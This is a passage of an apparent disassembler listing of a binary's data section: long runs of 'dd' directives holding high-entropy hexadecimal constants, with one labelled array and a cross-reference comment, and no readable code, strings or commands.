3FA19FB1h dd 0E96829F6h, 0A66F00C4h, 1DF7AB9Bh, 69D2AC01h, 3F76DF4Ah dd 287C6070h, 7F48C7C1h, 0F1496E6Dh, 61CD0A1h, 0ECEFF1ADh dd 42053480h, 5DA03F85h, 0A970F430h, 189E3013h, 0FD88F039h dd 22B6A51Ch, 0E42FB000h, 136FF33h, 0BCF34781h, 0F4064073h dd 765403E5h, 367C1CCCh, 6729B500h, 45BE9369h, 0F460014h dd 325C2496h, 6D5C8F44h, 30C842C1h, 0A35AB9CEh, 0DDD51CC5h dd 0CAD11C2Fh, 3149E66h, 0C6F26968h, 22E420B1h, 54F67904h dd 13C9F712h, 0B182B400h, 0CECB4E7h, 7D06D1AFh, 0CB007129h dd 70DF60C5h, 5273874h, 2336B9E5h, 6A404BEh, 0CA070026h dd 249E38EEh, 188C461Fh, 483F8147h, 0EC808091h, 0A764B8DBh dd 5752323Ch, 7C440319h dd 107A000h, 0E4C6DBD7h, 709100EBh, 35CB464Eh, 5002FC24h dd 9DEFF1B8h, 4F70801Eh, 5764E20h, 70148ED1h, 5E8C40D3h dd 0FC40E02Ah, 0B2E67E03h, 7E1024Fh, 0E7B60C11h, 7422C96Ch dd 0B52049FAh, 63FDF4Bh, 9E7628A6h, 7D001940h, 0CCB32579h dd 18C5EE52h, 0D04CF2DCh, 80EFE921h, 83C3EBC1h, 182AD05Fh dd 197F06C9h, 0D703C4F8h, 0E69DFA21h, 2A429923h, 6C20E455h dd 708F374h, 0C1636034h, 0A065C005h, 0CD055FAFh, 0EF4DB35Eh dd 0C07CD821h, 0B7489980h, 1C1AB1E6h, 68854A00h, 0CA3DC520h dd 39ECD7h, 668B6CACh, 487CC3E2h, 35E8400h, 45471860h dd 4FB90CDEh, 66115F2Bh, 0C2140A50h, 0B48DF800h, 51B79BDDh dd 41ECA15Ch, 6A444C08h, 0CA060F8Ch, 79C03689h, 563D433Eh dd 0FF7A58h, 0A12ED361h, 7E175E12h, 0B10D00EEh, 8D6B2A5h dd 0C200C692h, 0C17F3FF6h, 0EE5A9D46h, 2959C064h, 1C8041D0h dd 166C1F00h, 715A078Dh, 69F838BCh, 2794EB80h, 0A5988B3Bh dd 9D36BB07h, 0EC04BA17h, 276ED482h, 52401207h, 96004864h dd 0EBC1A7B1h, 907E909Ah, 7D3814F0h, 6901A044h, 6FD35FBEh dd 0EC238Ch, 992C5887h, 79971Ah, 0BAF11F8Dh, 546B1DEFh dd 7BA50700h, 0F0CA24F6h, 6A3F26A3h, 57ED0020h, 0B2E3785Eh dd 1DA91000h, 8FBE5951h, 9A5A0039h, 7727FF65h, 9E01F7B7h dd 0E1C9830Dh, 6DE47DB0h, 329C00EBh, 2184CCB1h, 6039DBFh dd 7B264C67h, 489902C8h, 4202417Eh, 47B00048h, 3EEDF712h dd 4CF81418h, 3BF18877h, 7509AC06h, 41159Fh, 878F2CD0h dd 0DEEF088Ch, 0BA254900h, 9016AD23h, 7EAE0765h, 40696637h dd 0A14005D4h, 9C51636Ah, 68054A11h, 0F01E17Eh, 5024AC44h dd 0E3AC8015h, 200B252Ah, 38487AEBh, 8F79B0h, 3C8E3335h dd 0F5C1B89Ch, 45A8EB18h, 1EDCB21h, 33150478h, 0D244FDA0h dd 403FCC84h, 0ED3D0D1Ah, 351B0180h, 0FC304277h, 8BEAE8B4h dd 0C7BDFA01h, 0C646DEF2h, 0B136C0h, 0A06F370h, 0BD7C94E1h dd 4F0048B1h, 4C6A6D29h, 92F9F6F7h, 10BE59B4h, 62606688h dd 48C6A1E3h, 0E9832C92h, 50AB4599h, 42564CE9h, 48C368FCh dd 0A00A2130h, 0A020B1h, 257A3F9Ah, 4E905DEh, 0A215F300h dd 0F1C673ADh, 120A1F2Fh, 45569CA1h, 66617h, 830F5454h dd 580E2BC7h, 8AFBC20Bh, 6740E89Eh, 0E678D1F4h, 1F9100D7h dd 0EB812C30h, 0DE070866h, 7A9BEA22h, 63CC8599h, 7B858D8h dd 0B7C40802h, 0D6C6018Eh, 0F6747094h, 0B90E6CB9h, 0E67200B3h dd 0A4D3B4h, 749C66ADh, 0FAEA1EBBh, 0A0C180CFh, 4ABDEB57h dd 21AD0F4Eh, 0D90F33C9h, 914975CCh, 0BA036101h, 5F17E312h dd 825E8474h, 288710A9h, 3F37D0E9h, 9607E1FCh, 43E35866h dd 7DA82039h, 781D7036h, 214CC052h, 400C8DCBh, 6C6E5328h dd 94C47C24h, 0E6EC2041h, 24066180h, 2AD5A34Ah, 6E67A0C1h dd 0EC736922h, 60A0902Ch, 6FD849BDh, 0C2207090h, 80C09917h dd 0C675DD4h, 0F902657Fh, 0DF2BB3A7h, 18288BC5h, 0F12670h dd 18C70166h, 7EC58B2Dh, 71929401h, 97493CA6h, 0FF34298Fh dd 416626C6h, 0EA1F6D44h, 1EC03ADh, 4B3F2B2Ah, 36E59B8h dd 0D5E1A807h, 22A9D1EAh, 10D6BC5Ch, 8D07A5EBh, 0B0F3F9E2h dd 0A601E380h, 12D49236h, 22D4F821h, 802E16CCh, 0AA6BBD99h dd 0E5A30E3Ah, 0C6A09A29h, 0CD5C59C1h, 1C5DFAB8h, 0FF6D1628h dd 6B52F831h, 0E8400712h, 0A743EBF4h, 0D44EC20h, 0C67C803Ch dd 91482540h, 0C36D8038h, 7AA5543Dh, 74E2FF00h, 95F378A4h dd 67690CEBh, 0E328BE5Eh, 57247A0Fh, 54DA408Ch, 606E128Bh dd 43651DEh, 0CA60E20Ah, 0A4065399h, 0D22A0516h, 47D06E11h dd 3D6D0h, 42E9331Dh, 0BC4553h, 9C79EC05h, 1B7F12Eh, 21E9ED30h dd 972C56DAh, 0AC23F70Ah, 9391D2EBh, 5197A280h, 28418070h dd 4774C3AEh, 7C50B600h, 8BB391ACh, 776600EEh, 566A090Bh dd 1054FDF7h, 64A0C7E4h, 2156EC6h, 1DC2E26h, 160138BCh dd 48E149D4h, 41533F11h, 80840338h, 0AC2C9F19h, 64B5E76h dd 0E227830Eh, 0F400A9CDh, 604387E4h, 263DACEh, 613DCA80h dd 9C445CCFh, 30F2E544h, 5639B260h, 0E130E370h, 0CB2E11C8h dd 0CEB4018Bh, 6FC69424h, 0D1B8C196h, 8D98A082h, 74813891h dd 3C9F3A95h, 8F78B980h, 0AD67F6F0h, 63A69D00h, 60466B96h dd 0B00CEAAFh, 0DDA15A8h, 0C2118C14h, 0F8F62425h, 39E8A04Ch dd 96003BD9h, 780C24C5h, 0BF04D1DDh, 7CAEA3AFh, 6770F880h dd 6079D13Eh, 0C6680175h, 0D2E22E72h, 1E6D83Dh, 0F8191224h dd 40712198h, 0E4D30F49h, 0F58078BAh, 3990A25Bh, 91655601h dd 0DDD752BEh, 18B6893h, 9E97C1ACh, 46369h, 42743E08h dd 0E0A9854h, 0CD714FDh, 59B42100h, 7B003A18h, 0AC96DF50h dd 58BF4AAh, 57CCC406h, 21908BB9h, 209D9295h, 686628C4h dd 0A63E611Ch, 3672B206h, 8C2444C9h, 4C2E0700h, 3CCC45C5h dd 0E0F698h, 2EDAC6Eh, 0C18EC36h, 0BAD08B16h, 28808825h dd 2243478h, 5F59B74h, 0A0A0CBE2h, 0F0E53FD2h, 21282000h dd 9CB59086h, 0A68E0298h, 364FE6FDh, 6801F064h, 0B2F8D4DFh dd 10755B24h, 5AD1840h, 26D26F1h, 2046C928h, 944C7558h dd 4E79224Ch, 0BDB43007h, 501F375Ah, 4D1B065Dh, 0FA00E7A1h dd 0B82610C5h, 46F1808h, 0FF1B4177h, 67683107h, 5FD06412h dd 9F1D561h, 7F14E272h, 9DE85800h, 90004010h, 0E0B00519h dd 0C943046Dh, 3C69E1A9h, 4E65D8F5h, 7606BA14h, 3B053E78h dd 35E3DD6h, 0D57B3B2Ch, 0BD00EF4Fh, 0E24A0C83h, 8E84B67h dd 7C8E811Ch, 0E53D40C3h, 5A7F441h, 0E4B77E42h, 0B0E820A9h dd 0D0A4C74Dh, 9B0E58B9h, 0D5B3600Eh, 88D91Fh, 3A61019Dh dd 4F123476h, 179E324Ch, 6C1EA598h, 0EA21D185h, 55B13C03h dd 69F4C8C9h, 0CDC7194Ch, 103E61F5h, 1D1D915h, 9C068C03h dd 0D6ABBAF6h, 72133864h, 4F011F42h, 0AD9B9307h, 0ECC0D1C5h dd 9CCE1749h, 0C1A421AFh, 690DF426h, 0EFBD200Bh, 4FB890E1h dd 5C077E73h, 275B5B9h, 9EB8EADh, 74A07790h, 0C6176E14h dd 9F3B9100h, 0A530E040h, 0FFB0B47h, 79053251h, 8708803Eh dd 6A768463h, 0BC39EC00h, 0A1EE133h, 747500F3h, 0EEF266D5h dd 87764D81h, 337A0B0Fh, 27DEC049h, 79C2CA10h, 0BB28052Bh dd 0C35A9F6Eh, 1F92ED08h, 0BCFF3C48h, 0B069540Bh, 7E277F38h dd 0D895C019h, 2802A8E9h, 4AC5E88Bh, 0C660405Bh, 0A5F92AE4h dd 80B56BE4h, 0AA05013h, 20E16247h, 48B0EBECh, 0ABB5ECA8h dd 10F96098h, 8375F668h, 0E80AACC0h, 0D00CA91Eh, 9AEF208Bh dd 0F314C078h, 4D890E1Eh, 5700FDB4h, 68ACC435h, 3631C0E5h dd 50EAB604h, 0D4A2F820h, 0E59FDC80h, 9C038213h, 2675FE76h dd 0B7C80547h, 82AFEEECh, 0A0D20384h, 1E1244h, 3D96BAC7h dd 0DA8A3E5Eh, 7B1FDB04h, 0E0C84EC5h, 0FC7C8959h, 0F7014C0Bh dd 7E13368Dh, 0F2C09A54h, 2B121F07h, 5F0C8040h, 855FDF3h dd 72B96001h, 0DC3A756h, 21166D0h, 0F1D32122h, 44E64A3Fh dd 91571412h, 73E3D490h, 0FEDE1A4Eh, 385A540Bh, 68966D79h dd 0EB1E360h, 0D04B5102h, 16372AE8h, 0D006D1B0h, 49A7236Ch dd 1082800h, 7F4DFCD5h, 55AE3904h, 9A29987h, 0A62E309Ah dd 0FA24C248h, 0C66900E7h, 0CBEF04C8h, 0C082877Ah, 0C47C6E00h dd 20B13E61h, 29BE83EDh, 6008CB2Eh, 0ADA32CEEh, 4060C105h dd 0F849C552h dd 0B86C9003h, 0EED20097h, 5B066AD3h, 0AA002191h, 6F4DE852h dd 9960B620h, 1571D5Ch, 9BBB5145h, 73D8F3B8h, 5D1C5693h dd 3F9888EBh, 1EDCA32h, 8945DF44h, 0FA5336E3h, 0BA801C43h dd 4A0B026Bh, 0B0F0109h, 8CA01093h, 8F1C9E9Eh, 6A2F97F7h dd 45C103A3h, 7F8E2ACh, 90AC38C2h, 3AC046E0h, 0F9EF183Bh dd 0C9E10888h, 816EA9C1h, 0FDC8F339h, 0CD5B5CA4h, 0D6BAA63Eh dd 4F665700h, 0F1219829h, 0B8FED100h, 6706335Eh, 76A42C7Dh dd 0E6B308C4h, 0F8E96D1Dh, 0E421AC04h, 0C38084A2h, 814BF4CDh dd 0D69A681Ch, 9F990840h, 0FF9A176h, 0EB5F7E37h, 0C1D020B2h dd 0F2C58FBh, 66076850h, 7BD1C2BCh, 480323C3h, 5B206D92h dd 0E00581h, 0B0C59ECBh, 766E414h, 0E1406900h, 75B68B72h dd 41EB00B9h, 0E04477Ch, 6F00BF45h, 77B3F571h, 0C026E1FEh dd 7AB00359h, 491C1D4Dh, 5CD752B6h, 95110800h, 24B9960h dd 0E8C213ACh, 588243EBh, 107AC0C9h, 4CC4F558h, 248200C8h dd 0CAA9ECBBh, 4C509833h, 582A0C49h, 5AEF0398h, 8E26687Dh dd 5098EB98h, 21C42300h, 6551B88Bh, 80F20203h, 0FA5E4BB4h dd 0FEE02CD8h, 684DD801h, 7893CBE3h, 0F7002863h, 335B9964h dd 29E0D777h, 5040F64Eh, 0A426EE78h, 5C67CE6h, 6E6809A1h dd 0A4B4C4C0h, 0F8654D8h, 8D0FA0EBh, 3411FD8Bh, 73E46CB0h dd 7944EC20h, 69038948h, 0EF5F00D4h, 6D136A8Dh, 9E8018D9h dd 4804413Ch, 0A131E207h, 1ED0ACEFh, 7C7B65h, 0EC6EFE97h dd 0FC6D70DBh, 0E0311A62h, 0DA5848CCh, 11970028h, 3DA81E09h dd 9A172307h, 78005D6Eh, 678B719Ch, 709F0CF0h, 3F416A03h dd 0A1D600B0h, 5E00D51Fh, 52BFB825h, 69060272h, 0E24DC86Fh dd 0ED02E044h, 6EA0FA34h, 77F8618Bh, 0B6BEC48h, 57D4C444h dd 2019C0C6h, 9EF97BEBh, 792C6472h, 80291E8Ah, 0FBADD919h dd 90260401h, 0BF884046h, 61F68C1Fh, 0B8002861h, 4E4684FFh dd 10AFA24h, 345476E5h, 0DE553FB6h, 38804C64h, 2D00E050h dd 0E8EDBD71h, 3D0CBEh, 77B7A953h, 89BEC64h, 0FF34481Fh dd 20C8A265h, 789866F0h, 0A1CEE6A2h, 2E101860h, 340045F7h dd 0A89D733Eh, 7201DBDh, 0E40F35D7h, 506200C3h, 3317F4ECh dd 48CC65D4h, 4BFF306Dh, 0CEF4C849h, 0D5C97B18h, 0AD15821h dd 8BAEAD05h, 44918138h, 70419F33h, 0B6007A30h, 0A46A9D92h dd 0A375D3h, 0B776ADC1h, 43037E4Eh, 0F0904892h, 216BCB22h dd 0BF1D84E3h, 47D03E22h, 104050A5h, 19C322E1h, 0F0D1E574h dd 1F2C6ED0h, 41673016h, 60ECE02Fh, 3C22E2h, 960991DDh dd 7988CC2h, 0B5A1FD2Eh, 0AC10E9DAh, 3E3DBF3Ch, 0B7190EE2h dd 3066A0F2h, 357C06D0h, 8C7141C5h, 0C1002E30h, 5849DB62h dd 5CBF5509h, 7627609Bh, 0CCA93C04h, 628A41ACh, 8014D9C4h dd 0A0B99ABEh, 0FA24C921h, 0FD889CEBh, 783F894Bh, 0E0C8DB87h dd 6F6A0BDDh, 7F249095h, 0B28101F5h, 842EC155h, 68A0EB82h dd 8500E9C9h, 50C4483Eh, 1666A7E1h, 40DEDA67h, 4724CAF8h dd 2F16FE35h, 0E107D4D3h, 0C6018BEAh, 0B43C46B2h, 0E0007722h dd 5CB07CDCh, 38277014h, 0DE847D81h, 0FA220B34h, 2163A0C0h dd 0BF7B2CAFh, 83BB41C8h, 4BC7C0Eh, 0BD33ECFEh, 2CDE78B4h dd 118471B0h, 1D5031Bh, 0A888183Eh, 3B7D0h, 0D17B63F7h dd 0B34C92CEh, 2208958h, 690CA0Ah, 0D37841A4h, 2EC67C10h dd 7044D0A4h, 1D9F0293h, 0ED5A6B1Ah, 8312C660h, 0EA00667Dh dd 0BF010A07h, 70F938h, 2EBB4E74h, 0F8C8AD24h, 0B301C74h dd 0B5D108F6h, 0E4C958EAh, 3F80E704h, 80BCAC46h, 16F030AEh dd 0FA940064h, 0E58ED574h, 0F63EBCD8h, 9F4CCFBh, 51160470h dd 256D1100h, 2430A003h, 1D64C82h, 0F3535B97h, 2C5657F9h dd 8212C834h, 0D9B56403h, 0A3E3C040h, 9188C62Dh, 40029BB8h dd 650A6824h, 7E6900F0h, 6FDA346Dh, 491F8B09h, 645B4Fh dd 6EBD82F0h, 0FE00F468h, 45E0ADEEh, 1D3F30Eh, 9AD5A5E6h dd 0C0CF6399h, 0CE5A75ECh, 2B7E80Eh, 0C0316A52h, 944F3F8Ch dd 0EB348934h, 67D22C82h, 6409h, 71C34345h, 0A3CEFC2Fh dd 78512D00h, 0F1FF6D8h, 404E16EAh, 39482C55h, 0F00F0B01h dd 3C172A9Bh, 6BCEBEC0h, 3000884Eh, 6DDEABAFh, 5C944BE0h dd 73C28649h, 0DE480411h, 274C4321h, 0C9E36051h, 3802C061h dd 1A02207Eh, 4500E634h, 50F5C337h, 0BD5857h, 3D771309h dd 0F41D66ADh, 0D1222B00h, 72B9E5A0h, 0CB7C158Ch, 0C04C84D2h dd 0B48E9602h, 3C800570h, 674E3C8h, 0FB4AC209h, 8074C1C5h dd 23627110h, 2BABB200h, 8DFD8AEDh, 0A004170Bh, 0CC1C1307h dd 618B784h, 0F2382275h, 0E4BB0468h, 0B02FB9F9h, 0F44360A4h dd 3BD10770h, 0B0BB510Eh, 46B4E3F9h, 2820854Ah, 7059E97h dd 205FCBF7h, 12AE50CAh, 6E180B85h, 0B5C12E02h, 7CEB796Ah dd 904F4C45h, 0B7003F22h, 0D3C9B6FFh, 347B57h, 5A0C9C40h dd 5FF37086h, 3D0943E2h, 10F62052h, 94B107E0h, 973B4704h dd 0BB858033h, 84501916h, 98C16BBFh, 0AE9C6F06h, 0C900883Dh dd 65DB20C1h, 450D6BF7h, 111D89CAh, 0C0027C54h, 0D0FAA28Fh dd 6753141Ch, 0FF2CB8E7h, 9ED4224Dh, 0D3DA4068h, 7101FBDBh dd 0CE41730Dh, 54EDC135h, 13AE8BDCh, 45CF1468h, 0E02482A4h dd 43CE0C0h, 14EBC8Dh, 6FF59F0Eh, 64200758h, 7C048867h dd 88C42689h, 0AEE900EAh, 0FAAD2845h, 0D09F6B7h, 44D154CCh dd 0EA870004h, 248625A2h, 0B72E9CECh, 51091321h, 80B44C7Eh dd 946911B8h, 18604014h, 8100EC9Bh, 448F9D2Bh, 5C0C407h dd 0E6A05FFh, 19E88324h, 5BF6F91Bh, 0D285F039h, 26E294h dd 0FD461644h, 80A2C550h, 0D0104102h, 0C8FCB15Ah, 896EA4DCh dd 980708EAh, 0E990638h, 284FFB6Ah, 0EBFDF500h, 0B19670AFh dd 4562754h, 0A659AC20h, 0D00433Bh, 2AB2A546h, 677C12Fh dd 214C66D0h, 4E404810h, 5A58A1F6h, 0CF72110h, 88322F00h dd 15CB2D0Ah, 4DA507EDh, 4F4298E1h, 2FF16FEh, 6BD288C4h dd 25685E02h, 0A9CC2103h, 979FEC3Eh, 9495F800h, 25FBAECCh dd 5C001A2h, 49402E41h, 6E0287Fh, 0C401678Bh, 0B0DC0008h dd 92819BEEh, 6A091E7Ah, 0A426407Eh, 8C008264h, 9A5EBC66h dd 835B5900h, 5DED0693h, 5C05136Dh, 68AC00D0h, 6F7B1F4Dh dd 78EC512h, 1CA56040h, 0D70D9EA9h, 73EC8359h, 1708912h dd 64688820h, 29066E9Dh, 102F8099h, 90332B07h, 38CA6EBCh dd 1FE2481Eh dword_4F0044 dd 0FEA74802h, 4ADEE013h, 22240087h, 59F1A3E5h, 7A17883Bh ; DATA XREF: ___:0042CC8Co dd 0C8088B7Bh, 8034A921h, 0DB7716EBh, 0A60486ADh, 989E1597h dd 83CC4A1h, 0B8315680h, 3B2E2B2Ch, 80395BEEh, 2D44A833h dd 182A475Bh, 0C946ACA6h, 9D71C549h, 348E7CB1h, 0E2011287h dd 75C47BFBh, 28B7D834h, 41CAE9Bh, 7BD49521h, 206C88CBh dd 923CF058h, 7D60E2h, 0DABB597Fh, 2E08B973h, 7C568B0Dh dd 606021C2h, 48A9549Ah, 9D9F11F6h, 81050041h, 0E89C02A0h dd 0E2360958h, 700FFE46h, 2154D0D2h, 52006B9Fh, 0D78F7F1Dh dd 8C5B460h, 4C036D96h, 0C74BB181h, 2878482Dh, 9F85A28h dd 9E5ED840h, 0FA3FBCC4h, 0CD8000A4h, 3F4E3990h, 6D4200E3h dd 45F517FDh, 0D044FB6h, 557CD8AEh, 1054BC80h, 23C10583h dd 7F56658h, 3384BAFDh, 81AC65D3h, 0EE3FC259h, 6084D8F9h dd 4116767Eh, 5903C920h, 96477021h, 0B8CA0C00h, 26411281h dd 39D0A634h, 7C371Eh, 0DCB965E1h, 0FE1F4759h, 0D157E000h dd 0FF429EEEh, 5CC5587Bh, 0FE70C281h, 80543845h, 646A3CE1h dd 89171EF1h, 0D1DE4022h, 0C9EE435Dh, 277C9E00h, 0FF70D416h dd 0BE1CA840h, 4D100596h, 2061052Dh, 0E37036E0h, 57CCC30Bh dd 33408068h, 5C720865h, 3602A8B3h, 716F142Dh, 0D050880h dd 0D72568B1h, 24D4C41Dh, 9B89D59h, 0DC487652h, 6009E156h dd 516905D1h, 509600D0h, 2FAEA70Dh, 330007E8h, 0C9552670h dd 5ED9777Bh, 3430568Bh, 2D708004h, 0EC7CCA06h, 1E887E09h dd 51581004h, 14130024h, 98F6C1AEh, 0F5E287B0h, 0B60B21F6h dd 8050CACCh, 0D0884570h, 73B72633h, 0CFAF8024h, 4AFC6631h dd 5774D11Fh, 9CBBEB0Fh, 0B01B2B83h, 0B08C6CAh, 95F9FFD5h dd 0A421CF8Bh, 2A568EE1h, 2A44F820h, 0A7B200DAh, 0AA4F97DEh dd 453EA23Dh, 5D5A92B7h, 5E121CC1h, 18C4182h, 0D64070DFh dd 8F047C67h, 2C526A30h, 94C90087h, 67C700E0h, 7E09B30h dd 781FD84Eh, 3FC08699h, 0ABA60DB3h, 53061FB9h, 0DCAC63h dd 0E560EAB8h, 0DFE550D5h, 297EB280h, 5E084094h, 26D8964h dd 0EF020446h, 573A6F01h, 14D185h, 0E08D9D5Eh, 96008828h dd 6ABEC980h, 225B76h, 51F5E49Eh, 6D70D8EBh, 65B3AC09h dd 8A3409D3h, 0D0699400h, 588E0F34h, 5460154Fh, 4036FD7Eh dd 40CA474Ah, 2B2F217h, 878B6E2Eh, 6AD39880h, 290FDF1h dd 3CA6F705h, 0DCD05D52h, 1A4AD8Ch, 0C8D36323h, 700525DAh dd 0FD8B64h, 93460370h, 66980AA4h, 497D44B8h, 38646Fh dd 8FA882C8h, 590AECD1h, 0E7948416h, 0E1D08820h, 319B0004h dd 0A8379569h, 18F06778h, 39D42400h, 1A0BDC83h, 0B4A09503h dd 5F568711h, 71764B12h, 0D6C64802h, 0B08403Ch, 3D67276Eh dd 76539464h, 394922D0h, 9100F660h, 9DEC70CEh, 8E75BB33h dd 57167512h, 90EB2C45h, 0BE916580h, 144B1E0h, 0C201BFC6h dd 80E3E0E5h, 414E4500h, 83087B9Bh, 294F653Fh, 0BEDC07CFh dd 26692052h, 0ECA633C9h, 1CE7FE24h, 0C47DCB40h, 0D6C00541h dd 0A88B5C98h, 0F520C5BCh, 0E200288Bh, 0B6773E62h, 3C71955Dh dd 94C0582Dh, 4CB4030h, 0F883ED4Bh, 4416A514h, 8700101Dh dd 7E7F9791h, 69F729C5h, 61711E4h, 49A306C2h, 0A04A4481h dd 1FB86A00h, 0C9B7B068h, 696101A1h, 0F747E60Eh, 174C3C9Fh dd 0F08C3FF2h, 9A048CFBh, 2A4FEAFDh, 0E3884CACh, 0E97CD211h dd 8A771860h, 0A04F3C74h, 472B9762h, 24F1E4EBh, 11B03A5h dd 2584E8E9h, 0FE288458h, 788133F4h, 0C8206F06h, 80994F8Dh dd 24A878D4h, 36557412h, 1D8C28B0h, 86E4CA07h, 0B0421346h dd 8C604845h, 28ED74E1h, 20902BCCh, 70B06D0Fh, 7C2985F5h dd 0ACF717BCh, 81BFBA00h, 1CD90538h, 87A6A000h, 0A76FDC22h dd 0AD2C0248h, 3BF6462Dh, 0C2449C74h, 204E70E9h, 1D59838Ch dd 25942000h, 0EA398FCAh, 0B8560F69h, 0E1850CE2h, 0C7440576h dd 472060CDh, 0A30428F5h, 0A0400532h, 1061C089h, 0E1219C69h dd 0F147891Ch, 0D6A0450Bh, 0B856101h, 8C95B8DAh, 0D0501499h dd 0A114FE82h, 7FDA3F05h, 0FF635709h, 8F03E309h, 0C7EA6790h dd 4466E970h, 0E3053112h, 1E4D03CCh, 0C1F4B8h, 217DB08Eh dd 326BE3E8h, 0EC022E01h, 0E4C65E63h, 0B4D22438h, 5400B7A8h dd 0A9FE0984h, 78641A8h, 1FB121A3h, 0E143E074h, 0D094640h dd 64C91267h, 80A899A8h, 692CDAD3h, 0EF003935h, 5C556A2h dd 0ED155FF3h, 60FD2FDCh, 4F96E4DEh, 0B03099C2h, 9549D1EDh dd 0C3E92D69h, 0F62DB465h, 47E090Dh, 0E2F4B8C8h, 0E4917300h dd 78AD92E6h, 0EECE4C8h, 8B573B39h, 4A4751BEh, 23DBF800h dd 527B85h, 1637F36Eh, 2DE7038h, 2020574Fh, 3BE7DD8h, 790B062Ch dd 0A2B9B24Eh, 0BC442F26h, 0AC4549FEh, 48D8C24Fh, 0BE309446h dd 0B8E611EEh, 4B849E72h, 74A268CEh, 8D40E451h, 0E443AE92h dd 0A9573E53h, 94F43D09h, 0A57C1580h, 3802EC5Dh, 0EBABA8CBh dd 49A580CAh, 7F83583Bh, 0A2A0F44Fh, 0ED70610Ch, 6859A8h dd 534876Fh, 0C5CEA2C2h, 0F088D0D3h, 87D10049h, 60897355h dd 17003F7Dh, 200D529Dh, 9B9F04h, 1257D4C0h, 41EBF2C2h dd 9242C0BEh, 30DA1178h, 664C6D3Ch, 5AB08C54h, 5F4CF8E3h dd 3D9C2278h, 2C996520h, 875B071Bh, 2529259h, 0F071EC0Eh dd 80BAFE1Dh, 7FCFA22Ch, 4ADAC2h, 28E2A990h, 0A18145BFh dd 366AE103h, 0B871B524h, 15B098Dh, 2B87035Eh, 0C1DDFCFAh dd 0F3EEC057h, 80CB522Ah, 4E697016h, 9FF1C430h, 7862ED8Eh dd 0B2CA007Dh, 3FD3AFAAh, 0F072578h, 3DF7FC6Ah, 2FE4D089h dd 3438FBCBh, 0B50F727Dh, 618C64B1h, 40FD6D7Eh, 543F698Bh dd 0B4828C6h, 0ED072474h, 729D3109h, 0FABD008Ch, 0B539FC98h dd 4F4C1B44h, 670C07D1h, 6220307Fh, 6F669FF5h, 12A8606Ah dd 9980E8A9h, 1668D9Ah, 0A2F400BEh, 0EB4521C8h, 0F10157F6h dd 0E20417F5h, 0CC408840h, 5E271Fh, 9D7C5BDAh, 6C07E56Eh dd 0D3250B07h, 334035D4h, 24CB05h, 0E4E3485Eh, 0B5753292h dd 94EE212Fh, 7C100064h, 17C11982h, 6006437h, 0F9B90DB4h dd 595028h, 43A157BAh, 0B2783385h, 3E181378h, 91103566h dd 0F1947787h, 14752180h, 5D65FA3Dh, 0E43A2280h, 40BC9E91h dd 4025B582h, 90F4A31Dh, 0BF622981h, 1B3083DAh, 2BB60066h dd 5E11A7A5h, 0F075407h, 0CD748FDEh, 0B7851730h, 0F1EB01DBh dd 2AABB2C5h, 0DAA642C2h, 89C9EC7Eh, 6850992Ch, 3F80C910h dd 9ED51901h, 33F90F13h, 0E112C8h, 0FE6A2309h, 0EFCFFB07h dd 5F5879FAh, 14C84BA0h, 3C650EA8h, 1EE00721h, 85FD5C59h dd 0E4DE52h, 0CF9EE12Ch, 164B14h, 0CAD7D30h, 0FAF9475Ch dd 0F198D504h, 94C265B8h, 80785E9Fh, 83C0D26Dh, 0FCEFC541h dd 810068DFh, 965C8078h, 7A402AB0h, 0D4DD178Bh, 401817E6h dd 996BCF3Ch, 0D112D6C3h, 0D8E2C17Bh, 3C9E3F02h, 94FA3D53h dd 52236743h, 384ED18h, 3F41C482h, 0F1ACA54Ah, 90223B69h dd 7C40104Bh, 0B860ADF1h, 181874B8h, 3025CAD6h, 0EF075496h dd 0C47B2FFBh, 0C29FA48Ah, 0ABA0A09Bh, 854122E5h, 8A693302h dd 8001EDBBh, 4F521594h, 0F07F7C02h, 6A3704E1h, 0CCFF6D94h dd 0A22768F0h, 4FD0E4DAh, 968CC886h, 0D317C30Bh, 13A0CCEDh dd 3D675B5h, 22D17490h, 0FE0D598h, 0F306672Ch, 0C2C93907h dd 57E3C7E1h, 0C9C0383Bh, 45CA6301h, 0C8EFECF0h, 0B0EDE071h dd 0BD3C2478h dd 5C9EF644h, 0FB645C80h, 1C29703Bh, 0C4C72F4Eh, 0C8604C57h dd 710007B8h, 5ED1B205h, 12064D84h, 0D0F35FB1h, 860C6670h dd 2E6D9201h, 0E46521DEh, 0C4EA0847h, 2555EE60h, 94A700BEh dd 0A259E042h, 7E567067h, 0BE6A2194h, 7BD32605h, 2E7889BDh dd 43032C00h, 0A93E9F93h, 7FF08480h, 2EE90099h, 72E8BF7Ah dd 0C05F9E8Bh, 4F685080h, 66730E30h, 6ACF4177h, 0C3E68580h dd 189E581Ch, 0CA148B00h, 3606CD8h, 349D2806h, 68807E17h dd 7018BDB4h, 0AC51D203h, 60EB5C5Ah, 527DB205h, 812CF211h dd 51729FEBh, 0AC33CEDDh, 4D73290Ch, 1307A6D0h, 1DCB542h dd 0FD67ECD0h, 2F5D017Eh, 0F45F8EF7h, 1C0873E5h, 451293D5h dd 26BB08E4h, 41DCAD9Eh, 44E18C49h, 0CF98A9A0h, 0DA41E745h dd 88CCA9E0h, 7580157h, 9DAE2A0Eh, 4C103EA2h, 0A8171690h dd 6A197C00h, 7578F125h, 0C6203A0Ch, 68404A2Dh, 310B4DB4h dd 61ECCC05h, 846843D0h, 0C106BC0Bh, 99816071h, 9704B8A3h dd 4D01020h, 51C9063Bh, 527C816Bh, 2C686DA5h, 3584066h dd 5F9A58E6h, 0B9153C7Dh, 85B839CFh, 0D22DAF98h, 0F24F810h dd 0EB564840h, 0C80F8C2h, 0EAF5F66Ah, 95B73670h, 38C82CB4h dd 27706626h, 8CB0F8E6h, 0DE95BD0Ah, 0BC0E0CC8h, 24CCF1Dh dd 7E6FCC78h, 66651F8h, 0C502D731h, 3F1802D8h, 8C207049h dd 171DB1h, 3871E04Dh, 7E15FBD4h, 6B4A8472h, 946DACC8h dd 0FFB54024h, 8969D2Ch, 0D4D11580h, 0AF609Bh, 3B6F51EAh dd 0B03FFE94h, 0FB17BF09h, 3C51ABh, 0FDD87FB2h, 9CF06EB5h dd 0D48D0700h, 4809FE9Eh, 3CFF2521h, 0ED4240E4h, 98C9EB1Ch dd 0FE96B96Ah, 0A7C728CEh, 0E85EC29h, 6824C016h, 204AF482h dd 163150B0h, 2253400Bh, 0C054CB81h, 0DE9EF820h, 0E8AD4BD9h dd 0A48EA490h, 10E4E04h, 0F0E64023h, 2F6ED16h, 6BCC3214h dd 0A502846Ch, 6E69D901h, 7EC6940h, 0A0EC117Eh, 9FCB082h dd 693D6440h, 36BB38C0h, 